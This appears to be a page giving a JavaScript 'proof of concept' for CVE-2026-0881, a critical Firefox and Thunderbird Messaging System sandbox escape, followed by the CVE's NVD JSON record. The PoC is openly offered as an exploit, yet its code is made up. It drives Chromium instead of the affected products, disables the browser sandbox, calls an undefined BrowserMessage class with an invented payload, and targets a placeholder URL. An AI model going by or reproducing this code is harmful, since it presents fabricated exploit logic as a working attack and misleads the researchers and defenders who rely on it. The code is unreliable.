CVE-2026-0881

// CVE-2026-0881 PoC - Sandbox Escape in Messaging System // This is a conceptual PoC based on the vulnerability description // Actual exploitation requires specific browser/Thunderbird version const { chromium } = require('playwright'); async function exploitCVE20260881() { const browser = await chromium.launch({ headless: false, args: ['--no-sandbox', '--disable-setuid-sandbox'] }); const context = await browser.newContext(); const page = await context.newPage(); // Target URL with malicious payload const targetUrl = 'https://vulnerable-server.com/malicious-page'; // Construct message system exploit payload const exploitPayload = { type: 'sandbox_escape', component: 'MessagingSystem', action: 'bypass_sandbox', // Malicious code to execute after sandbox escape exec: 'calc.exe' // Example: spawn calculator (Windows) }; try { // Navigate to attack page await page.goto(targetUrl, { waitUntil: 'networkidle' }); // Trigger the vulnerability through message system await page.evaluate((payload) => { // Exploit message system component const msg = new BrowserMessage(payload); msg.dispatch(); }, exploitPayload); console.log('[+] Exploit sent successfully'); } catch (error) { console.error('[-] Exploit failed:', error.message); } finally { await browser.close(); } } // Run exploit // Note: This PoC is for educational purposes only // Actual exploitation requires specific conditions and versions exploitCVE20260881();

{"cve": {"id": "CVE-2026-0881", "sourceIdentifier": "[email protected]", "published": "2026-01-13T14:16:38.657", "lastModified": "2026-04-13T15:17:16.890", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sandbox escape in the Messaging System component. This vulnerability was fixed in Firefox 147 and Thunderbird 147."}, {"lang": "es", "value": "Escape de sandbox en el componente del Sistema de Mensajería. Esta vulnerabilidad afecta a Firefox < 147 y Thunderbird < 147."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "E06AF540-011D-4249-9815-3A4609DD26D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "47B67C0A-B05F-4212-9255-0446302237A5"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2005845", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-01/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-04/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}